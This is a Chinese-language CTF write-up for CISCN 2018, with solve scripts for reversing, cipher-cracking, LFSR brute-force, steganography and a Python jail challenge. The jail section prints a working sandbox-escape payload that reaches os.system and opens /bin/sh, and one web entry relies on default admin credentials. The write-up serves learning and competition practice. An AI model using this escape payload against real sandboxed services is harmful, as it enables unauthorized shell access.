Fork me on GitHub

CISCN-2018-Writeup

10.0.0.55 Writeup

Web

0x01 easyweb

解题思路

题目很脑洞
用户名admin 密码123456进去可得到flag(密码现在换了)

解题脚本

Reverse

0x02 2ex

解题思路

题目给了一个ELF和一个out文件, out文件

运行ELF文件, 发现它会根据我的输入给出对应输出, 格式与out文件中的内容相仿

尝试直接爆破, 得到 flag{change53233}

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from string import printable

context.log_level = 'error'

def send(flag):
io = process('qemu-mips mx', shell=True)
io.sendline(flag)
ret = io.recv().decode()
io.close()
return ret.strip()

enc = '_r-+_Cl5;vgq_pdme7#7eC0='

def solve(flag):
n = len(flag) // 3
for c in printable:
ret = send(''.join(flag + [c]))
if ret[0:len(flag)+n+1] == enc[0:len(flag)+n+1]:
print(''.join(flag + [c]))
if c != '}':
solve(flag + [c])
else:
exit()

solve([])

Crypto

0x03 crackme-c

解题思路

题目给了一个64位ELF文件, 拖入IDA分析

发现该程序接受一个16位字符串, 然后用以下函数加密后与密文比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall encrypt(const void *flag, char *enc)
{
__int64 result; // rax
unsigned __int64 i; // [rsp+20h] [rbp-10h]
unsigned __int64 j; // [rsp+28h] [rbp-8h]
unsigned __int64 k; // [rsp+28h] [rbp-8h]

memcpy(enc, flag, 16uLL);
for ( i = 0LL; i <= 8; ++i )
{
shuffle(enc);
for ( j = 0LL; j <= 3; ++j )
*(_DWORD *)&enc[4 * j] = another_wtf_array[((4 * j + 3 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 3]] ^ another_wtf_array[((4 * j + 2 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 2]] ^ another_wtf_array[((4 * j + 1 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 1]] ^ another_wtf_array[((4 * j + 16 * i) << 8) + (unsigned __int8)enc[4 * j]];
}
result = shuffle(enc);
for ( k = 0LL; k <= 15; ++k )
{
result = wtf_array[256 * k + (unsigned __int8)enc[k]];
enc[k] = result;
}
return result;
}

大部分步骤可以通过逆操作还原, 但异或的部分不好处理

由数据特征, 得知enc的值应该在0~255之间, 针对每个异或的爆破次数最多为2**32次,可以接受

编写脚本进行还原, 得到flag:CISCNt8z@foQ-891

解题脚本

爆破异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include "another_wtf_array.c"


int main(int argc, char *argv[])
{
int _i = atoi(argv[1]), _j = atoi(argv[2]);
unsigned _raw = strtoul(argv[3], NULL, 10);
//printf("%d %d %d\n", _i, _j, _raw);
for (int i = 0; i < 256; i++) {
for (int j = 0; j < 256; j++) {
for (int k = 0; k < 256; k++) {
for (int l = 0; l < 256; l++) {
int base = 4 * _j + 16 * _i;
unsigned tmp = wtf[((base + 3) << 8) + i] ^
wtf[((base + 2) << 8) + j] ^
wtf[((base + 1) << 8) + k] ^
wtf[((base + 0) << 8) + l];
if (tmp == _raw) {
printf("%d-%d-%d-%d\n", l, k, j, i);
return 0;
}
}
}
}
}

return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from ast import literal_eval

with open('./CISCN/wtf_array') as f:
wtf_array = literal_eval(f.read())
with open('./CISCN/another_wtf_array') as f:
another_wtf_array = literal_eval(f.read())
final_enc = [0xC3, 0xB1, 0x3, 0xFB, 0x2A, 0xAC, 0x46, 0x4B, 0x7C, 0xEE, 0xC7,
0x74, 0x5D, 0x6D, 0xBE, 0x24]

def shuffle(a):
a1 = a[:]
v2 = a1[1]
a1[1] = a1[5] #第二列下移
a1[5] = a1[9]
a1[9] = a1[13]
a1[13] = v2

v3 = a1[2] #第一,三行的第三列交换
a1[2] = a1[10]
a1[10] = v3

v4 = a1[6] #第二,四行的第三列交换
a1[6] = a1[14]
a1[14] = v4

v5 = a1[3] #第四列下移
a1[3] = a1[15]
a1[15] = a1[11]
a1[11] = a1[7]
a1[7] = v5

result = v5
return a1

def re_shuffle(array):
a = array[:]
l = shuffle(list(range(16)))
n = 0

def tmp(x):
nonlocal n
n += 1
return l[n - 1]
a.sort(key=tmp)
return a

def decrypt(i, j, final):
final = final[0] << 24 | final[1] << 16 | final[2] << 8 | final[3]
raw = subprocess.Popen(['./CISCN/woc', str(i), str(j), str(final)], stdout=subprocess.PIPE).stdout.read()
return [int(x) for x in raw.decode().strip().split('-')]

result = []
for _ in range(len(enc)):
tmp_array = wtf_array[256*_:256*_+256]
result.append([tmp_array.index(i) for i in tmp_array if i==final_enc[_]][0])

enc = re_shuffle(result)

for i in range(9)[::-1]:
for j in range(4)[::-1]:
print(f'\r{i}-{j}', end='')
enc[4*j:4*j+4] = decrypt(i, j, enc[4*j:4*j+4][::-1])
enc = re_shuffle(enc)

print(''.join(chr(i) for i in enc))

0x04 flag_in_your_hand

解题思路

在script-min.js中可以看到ck函数,关键部分如下

1
2
3
4
5
6
7
8
var a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124];
if (s.length == a.length) {
for (i = 0; i < s.length; i++) {
if (a[i] - s.charCodeAt(i) != 3)
return ic = false;
}
return ic = true;
}

于是写脚本算出s = “xbu-security”,放进index.html。

得到flag : l4uuMkiAk+MC13vLwGjhFg

解题脚本

1
2
3
a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124]
s = [ chr(i-3) for i in a ]
print ''.join(s)

0x05 sm

解题思路

拿到题目发现flag被一个AES加密,加密的秘钥使我们要攻克的地方,同时看到生成了512个随机数,秘钥是一个512位二进制数,并对由秘钥指定的一部分随机数异或起来。本来认为这是一个数学上的题目,但是仔细观察发现,这512个随机数最后若干位全是0,且0的个数彼此都不相同,那么异或结果的最后一位仅与最后没有0的随机数有关,在确定最后没有0的随机数是否使用后,可运用相同的方式处理倒数第二位。最后还原出秘钥,通过AES解密后得到flag{shemir_alotof_in_wctf_fun!}

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
with open("ps", "r") as f:
nums = f.read().split()
nums = list(map(lambda a: int(a), nums))
group = [0 for i in range(512)]

with open("r", "r") as f:
final = int(f.read())

def zeros(num):
rev = bin(num)[2:][::-1]
for i in range(512):
if(rev[i] == '1'): return i

def num2bin(num):
bnum = bin(num)[2:]
bnum = '0'*(512-len(bnum)) + bnum
return bnum

for num in enumerate(nums):
z = zeros(num[1])
if group[z]: raise Exception('gg')
group[z] = num


xorer = 0
secret = [0 for i in range(512)]

bfinal = num2bin(final)

for i in range(511, -1, -1):
bxorer = num2bin(xorer)
if(bxorer[i] != bfinal[i]):
xorer = xorer ^ group[511-i][1]
secret[group[511-i][0]] = 1

check_xor = 0
for i in range(512):
if secret[i]:
check_xor = nums[i] ^ check_xor

print(check_xor == final)
#验证
secret_int = int(''.join(map(lambda a:str(a), secret)),2)
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
key=long_to_bytes(int(hashlib.md5(long_to_bytes(secret_int)).hexdigest(),16))
aes_obj = AES.new(key, AES.MODE_ECB)
import base64
with open("ef", 'r') as f:
enc_flag = base64.b64decode(f.read().encode())
print(aes_obj.decrypt(enc_flag))

0x06 oldstreamgame

解题思路

分析得知flag最多有2**32种可能, 可以接受, 尝试爆破

得到的数字转成16进制, 得到 flag{926201d7}

解题代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdbool.h>
// gcc -fopenmp -O3 another.c -o another&&./another
int main(void){
unsigned enc[] = {32, 253, 238, 248, 164, 201, 244, 8, 63, 51, 29, 168, 35, 138, 229, 237, 8, 61, 240, 203, 14, 122, 131, 53, 86, 150, 52, 93, 244, 77, 124, 24, 108, 31, 69, 155, 206, 19, 95, 29, 182, 199, 103, 117, 213, 220, 186, 183, 167, 131, 228, 138, 32, 60, 25, 202, 37, 194, 47, 96, 174, 98, 179, 125, 232, 228, 5, 120, 227, 167, 120, 126, 180, 41, 115, 13, 149, 201, 225, 148, 66, 136, 235, 62, 46, 116, 125, 130, 22, 164, 120, 85, 7, 161, 55, 180, 19, 205, 105, 12};
unsigned i, j, a, R, tmp, out, output, _i, lastbit;
unsigned mask = 2751989908L;
bool flag = false;
#pragma omp parallel
for (a = 0; a <= 0xFFFFFFFF; a++) {
flag = false;
R = a;
//次数可以少一点,i上限取5左右即可
for (i = 0; i < 100; i++) {
tmp = 0;
for (j = 0; j < 8; j++) {
output = (R << 1) & 0xffffffff;
_i = (R & mask) & 0xffffffff;
lastbit = 0;
while (_i != 0) {
lastbit ^= (_i & 1);
_i >>= 1;
}
output ^= lastbit;

R = output, out = lastbit;
tmp = (tmp << 1) ^ out;
}
if (enc[i] != tmp) {
flag = true;
break;
}
}
if (!flag) {
printf("%u\n", a);
}
}
}

Misc

0x07 picture

解题思路

用binwalk扫一下没毛病,用010打开搜jpg文件尾FFD9时发现后面还有一堆数据。

于是binwalk -e分离,将数据尝试base64解码,发现PK字样,联想到压缩包,但是格式有问题。将开头K和P互换之后尝试解压,需要密码,如下图。

pictue

提示password是一个python的除零报错,内容是integer division or modulo by zero,即密码。

解压成功得到code文件,file一下发现是uuencoded or xxencoded,于是将

1
G0TE30TY[,$,R-S8S,D0V,#(V0D8U,S$R1#5!0S%!,T1&-3-#1D)]

尝试解码,发现是uuencode,得到CISCN{0C27632D6026BF5312D5AC1A3DF53CFB}

解题脚本

0x08 验证码

签到拿flag

0x09 run

解题思路

python jail类型的题目, 很有趣

题目过滤了大量关键词如 ls exec 并且import几乎完全失效

Google得知可以通过().class.bases[0].subclasses()获取当前加载的类

再通过catch_warnings类进行代码执行, 依葫芦画瓢写出代码, getshell

得到flag: ciscn{d5333cdda7d7015818c39370958eabc2}

解题代码

1
2
3
4
w = ().__class__.__bases__[0].__subclasses__()
o = w[59].__enter__.__func__.__getattribute__('__global' + 's__')['s'+'ys'].modules['o'+'s']
s = o.__getattribute__('sy' + 'stem')
s('/bin/sh')

0x10 验证码破解-增强版

解题思路

这题我们用的是非预期解,四个人在四台电脑上同时答题,得到flag。

ciscn{h171ghlh7byd1dyl7h277hr2irhb1ffg}

pijie

解题脚本